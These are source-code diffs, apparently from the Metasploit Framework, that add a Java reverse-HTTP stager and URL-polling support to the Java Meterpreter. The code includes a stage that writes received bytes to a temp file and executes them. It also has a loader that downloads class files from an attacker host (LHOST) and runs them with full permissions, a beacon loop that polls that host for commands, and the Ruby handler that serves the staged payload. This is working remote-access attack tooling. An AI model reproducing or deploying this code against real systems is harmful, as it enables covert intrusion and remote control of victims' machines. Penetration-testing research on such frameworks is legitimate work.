* documentation and/or other materials provided with the distribution.
*
* - Neither name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package javapayload.stage;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.OutputStream;
public class UpExec implements Stage {
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
final String tempfile = File.createTempFile("~upexec", null).getAbsolutePath();
final int length = in.readInt();
final byte[] data = new byte[length];
in.readFully(data);
final FileOutputStream fos = new FileOutputStream(tempfile);
fos.write(data);
fos.close();
for (int i = 0; i < parameters.length; i++) {
if (parameters[i].equals("--")) {
// separator found. The next parameter will be the module name, and
// all remaining parameters are for exec.
final String[] cmdarray = new String[parameters.length - i - 2];
System.arraycopy(parameters, i + 2, cmdarray, 0, cmdarray.length);
cmdarray[0] = tempfile;
final Process proc = Runtime.getRuntime().exec(cmdarray);
new StreamForwarder(in, proc.getOutputStream(), out).start();
new StreamForwarder(proc.getInputStream(), out, out).start();
new StreamForwarder(proc.getErrorStream(), out, out).start();
proc.waitFor();
in.close();
out.close();
break;
}
}
new File(tempfile).delete();
}
}

View File

@ -33,6 +33,8 @@
*/
package metasploit;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileNotFoundException;
@ -165,6 +167,7 @@ public class Payload extends ClassLoader {
// check what stager to use (bind/reverse)
int lPort = Integer.parseInt(props.getProperty("LPORT", "4444"));
String lHost = props.getProperty("LHOST", null);
String url = props.getProperty("URL", null);
InputStream in;
OutputStream out;
if (lPort <= 0) {
@ -172,6 +175,13 @@ public class Payload extends ClassLoader {
// best used with embedded stages
in = System.in;
out = System.out;
} else if (url != null) {
if (url.startsWith("raw:"))
// for debugging: just use raw bytes from property file
in = new ByteArrayInputStream(url.substring(4).getBytes("ISO-8859-1"));
else
in = new URL(url).openStream();
out = new ByteArrayOutputStream();
} else {
Socket socket;
if (lHost != null) {
@ -193,7 +203,7 @@ public class Payload extends ClassLoader {
for (int i = 0; i < stageParams.length; i++) {
stageParams[i] = stageParamTokenizer.nextToken();
}
new Payload().bootstrap(in, out, props.getProperty("EmbeddedStage", null),stageParams);
new Payload().bootstrap(in, out, stageParams);
}
}
@ -208,24 +218,20 @@ public class Payload extends ClassLoader {
fos.close();
}
private final void bootstrap(InputStream rawIn, OutputStream out, String embeddedStageName, String[] stageParameters) throws Exception {
private final void bootstrap(InputStream rawIn, OutputStream out, String[] stageParameters) throws Exception {
try {
final DataInputStream in = new DataInputStream(rawIn);
Class clazz;
final Permissions permissions = new Permissions();
permissions.add(new AllPermission());
final ProtectionDomain pd = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), permissions);
if (embeddedStageName == null) {
int length = in.readInt();
do {
final byte[] classfile = new byte[length];
in.readFully(classfile);
resolveClass(clazz = defineClass(null, classfile, 0, length, pd));
length = in.readInt();
} while (length > 0);
} else {
clazz = Class.forName("javapayload.stage."+embeddedStageName);
}
int length = in.readInt();
do {
final byte[] classfile = new byte[length];
in.readFully(classfile);
resolveClass(clazz = defineClass(null, classfile, 0, length, pd));
length = in.readInt();
} while (length > 0);
final Object stage = clazz.newInstance();
clazz.getMethod("start", new Class[] { DataInputStream.class, OutputStream.class, String[].class }).invoke(stage, new Object[] { in, out, stageParameters });
} catch (final Throwable t) {

View File

@ -38,8 +38,6 @@
<target name="deploy" depends="jar">
<copy todir="../../../../data/meterpreter">
<fileset dir="extensions">
<exclude name="meterpreter.jar" />
<exclude name="extensions/ext_server_stdapi.jar" />
</fileset>
</copy>
</target>

View File

@ -0,0 +1,35 @@
package com.metasploit.meterpreter;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.OutputStream;
import java.net.URL;
/**
* A loader that does not use the provided jars but loads all classes from the current classpath. Useful for debugging with the edit-and-continue feature enabled.
*
* @author mihi
*/
public class URLDebugLoader {
/**
* Main entry point.
*/
public static void main(String[] args) throws Exception {
if (args.length < 2) {
System.out.println("Usage: java com.metasploit.meterpreter.URLDebugLoader <LHOST> <LPORT> [<RedirectError>]");
return;
}
URL initURL = new URL("http://" + args[0] + ":" + args[1] + "/INITJM");
DataInputStream in = new DataInputStream(initURL.openStream());
OutputStream out = new DataOutputStream(new ByteArrayOutputStream());
int coreLen = in.readInt();
while (coreLen != 0) {
in.readFully(new byte[coreLen]);
coreLen = in.readInt();
}
coreLen = in.readInt();
in.readFully(new byte[coreLen]);
new com.metasploit.meterpreter.Meterpreter(in, out, false, args.length == 3);
}
}

View File

@ -10,6 +10,7 @@ import java.io.OutputStream;
import java.io.PrintStream;
import java.net.URL;
import java.net.URLClassLoader;
import java.net.URLConnection;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
@ -36,6 +37,7 @@ public class Meterpreter {
private final ByteArrayOutputStream errBuffer;
private final PrintStream err;
private final boolean loadExtensions;
private List/* <byte[]> */tlvQueue = null;
/**
* Initialize the meterpreter.
@ -69,7 +71,9 @@ public class Meterpreter {
if (ptype != PACKET_TYPE_REQUEST)
throw new IOException("Invalid packet type: " + ptype);
TLVPacket request = new TLVPacket(in, len - 8);
writeTLV(PACKET_TYPE_RESPONSE, executeCommand(request));
TLVPacket response = executeCommand(request);
if (response != null)
writeTLV(PACKET_TYPE_RESPONSE, response);
}
} catch (EOFException ex) {
}
@ -91,8 +95,17 @@ public class Meterpreter {
* @param packet
* The packet to send
*/
private void writeTLV(int type, TLVPacket packet) throws IOException {
private synchronized void writeTLV(int type, TLVPacket packet) throws IOException {
byte[] data = packet.toByteArray();
if (tlvQueue != null) {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
DataOutputStream dos = new DataOutputStream(baos);
dos.writeInt(data.length + 8);
dos.writeInt(type);
dos.write(data);
tlvQueue.add(baos.toByteArray());
return;
}
synchronized (out) {
out.writeInt(data.length + 8);
out.writeInt(type);
@ -111,6 +124,15 @@ public class Meterpreter {
private TLVPacket executeCommand(TLVPacket request) throws IOException {
TLVPacket response = new TLVPacket();
String method = request.getStringValue(TLVType.TLV_TYPE_METHOD);
if (method.equals("core_switch_url")) {
String url = request.getStringValue(TLVType.TLV_TYPE_STRING);
int sessionExpirationTimeout = request.getIntValue(TLVType.TLV_TYPE_UINT);
int sessionCommunicationTimeout = request.getIntValue(TLVType.TLV_TYPE_LENGTH);
pollURL(new URL(url), sessionExpirationTimeout, sessionCommunicationTimeout);
return null;
} else if (method.equals("core_shutdown")) {
return null;
}
response.add(TLVType.TLV_TYPE_METHOD, method);
response.add(TLVType.TLV_TYPE_REQUEST_ID, request.getStringValue(TLVType.TLV_TYPE_REQUEST_ID));
Command cmd = commandManager.getCommand(method);
@ -124,6 +146,72 @@ public class Meterpreter {
response.add(TLVType.TLV_TYPE_RESULT, result);
return response;
}
/**
* Poll from a given URL until a shutdown request is received.
* @param url
*/
private void pollURL(URL url, int sessionExpirationTimeout, int sessionCommunicationTimeout) throws IOException {
synchronized (this) {
tlvQueue = new ArrayList();
}
long deadline = System.currentTimeMillis() + sessionExpirationTimeout * 1000L;
long commDeadline = System.currentTimeMillis() + sessionCommunicationTimeout * 1000L;
final byte[] RECV = "RECV".getBytes("ISO-8859-1");
while (System.currentTimeMillis() < Math.min(commDeadline, deadline)) {
byte[] outPacket = null;
synchronized (this) {
if (tlvQueue.size() > 0)
outPacket = (byte[]) tlvQueue.remove(0);
}
TLVPacket request = null;
try {
URLConnection uc = url.openConnection();
uc.setDoOutput(true);
OutputStream out = uc.getOutputStream();
out.write(outPacket == null ? RECV : outPacket);
out.close();
DataInputStream in = new DataInputStream(uc.getInputStream());
int len;
try {
len = in.readInt();
} catch (EOFException ex) {
len = -1;
}
if (len != -1) {
int ptype = in.readInt();
if (ptype != PACKET_TYPE_REQUEST)
throw new RuntimeException("Invalid packet type: " + ptype);
request = new TLVPacket(in, len - 8);
}
in.close();
commDeadline = System.currentTimeMillis() + sessionCommunicationTimeout * 1000L;
} catch (IOException ex) {
ex.printStackTrace(getErrorStream());
// URL not reachable
if (outPacket != null) {
synchronized (this) {
tlvQueue.add(0, outPacket);
}
}
}
if (request != null) {
TLVPacket response = executeCommand(request);
if (response == null)
break;
writeTLV(PACKET_TYPE_RESPONSE, response);
} else if (outPacket == null) {
try {
Thread.sleep(5000);
} catch (InterruptedException ex) {
// ignore
}
}
}
synchronized (this) {
tlvQueue = new ArrayList();
}
}
/**
* Get the command manager, used to register or lookup commands.

View File

@ -124,7 +124,40 @@ protected
# Process the requested resource.
case req.relative_resource
when /^\/INITJM/
$stdout.puts("java: #{req.relative_resource}")
conn_id = "CONN_" + Rex::Text.rand_text_alphanumeric(16)
url = "http://#{datastore['LHOST']}:#{datastore['LPORT']}/" + conn_id + "/\x00"
$stdout.puts "URL: #{url.inspect}"
blob = ""
blob << obj.generate_stage
# This is a TLV packet - I guess somewhere there should be API for building them
# in Metasploit :-)
packet = ""
packet << ["core_switch_url\x00".length + 8, 0x10001].pack('NN') + "core_switch_url\x00"
packet << [url.length+8, 0x1000a].pack('NN')+url
packet << [12, 0x2000b, datastore['SessionExpirationTimeout'].to_i].pack('NNN')
packet << [12, 0x20019, datastore['SessionCommunicationTimeout'].to_i].pack('NNN')
blob << [packet.length+8, 0].pack('NN') + packet
resp.body = blob
conn_ids << conn_id
# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {
:passive_dispatcher => obj.service,
:conn_id => conn_id,
:url => url,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ssl => false
})
when /^\/A?INITM?/
$stdout.puts("Win32: #{req.relative_resource}")
url = ''
@ -180,6 +213,7 @@ protected
when /^\/(CONN_.*)\//
resp.body = ""
conn_id = $1
$stdout.puts("Received poll from #{conn_id}")
if not self.conn_ids.include?(conn_id)
print_status("Incoming orphaned session #{conn_id}, reattaching...")

View File

@ -32,6 +32,7 @@ module Metasploit3
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Handler' => Msf::Handler::BindTcp,
'Convention' => 'javasocket',
'Stager' => {'Payload' => ""}
))

View File

@ -0,0 +1,65 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'msf/core/handler/reverse_http'
module Metasploit3
include Msf::Payload::Stager
include Msf::Payload::Java
def initialize(info = {})
super(merge_info(info,
'Name' => 'Java Reverse HTTP Stager',
'Version' => '$Revision$',
'Description' => 'Tunnel communication over HTTP',
'Author' => [
'mihi', # all the hard work
'egypt', # msf integration
'hdm', # windows/reverse_http
],
'License' => MSF_LICENSE,
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Handler' => Msf::Handler::ReverseHttp,
'Convention' => 'javaurl',
'Stager' => {'Payload' => ""}
))
register_advanced_options(
[
Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ])
], self.class
)
@class_files = [ ]
end
def config
spawn = datastore["Spawn"] || 2
c = ""
c << "Spawn=#{spawn}\n"
c << "URL=http://#{datastore["LHOST"]}"
c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
c << "/INITJM\n"
c
end
#
# Always wait at least 20 seconds for this payload (due to staging delays)
#
def wfs_delay
20
end
end

View File

@ -32,6 +32,7 @@ module Metasploit3
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Handler' => Msf::Handler::ReverseTcp,
'Convention' => 'javasocket',
'Stager' => {'Payload' => ""}
))

View File

@ -33,6 +33,10 @@ module Metasploit3
],
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'PayloadCompat' =>
{
'Convention' => 'javasocket javaurl',
},
'License' => MSF_LICENSE,
'Session' => Msf::Sessions::Meterpreter_Java_Java))
# Order matters. Classes can only reference classes that have already

View File

@ -34,6 +34,10 @@ module Metasploit3
],
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'PayloadCompat' =>
{
'Convention' => 'javasocket',
},
'License' => MSF_LICENSE,
'Session' => Msf::Sessions::CommandShell))
@ -43,7 +47,6 @@ module Metasploit3
@stage_class_files = [
[ "javapayload", "stage", "Stage.class" ],
[ "javapayload", "stage", "StreamForwarder.class" ],
[ "javapayload", "stage", "Exec.class" ],
[ "javapayload", "stage", "Shell.class" ],
]
end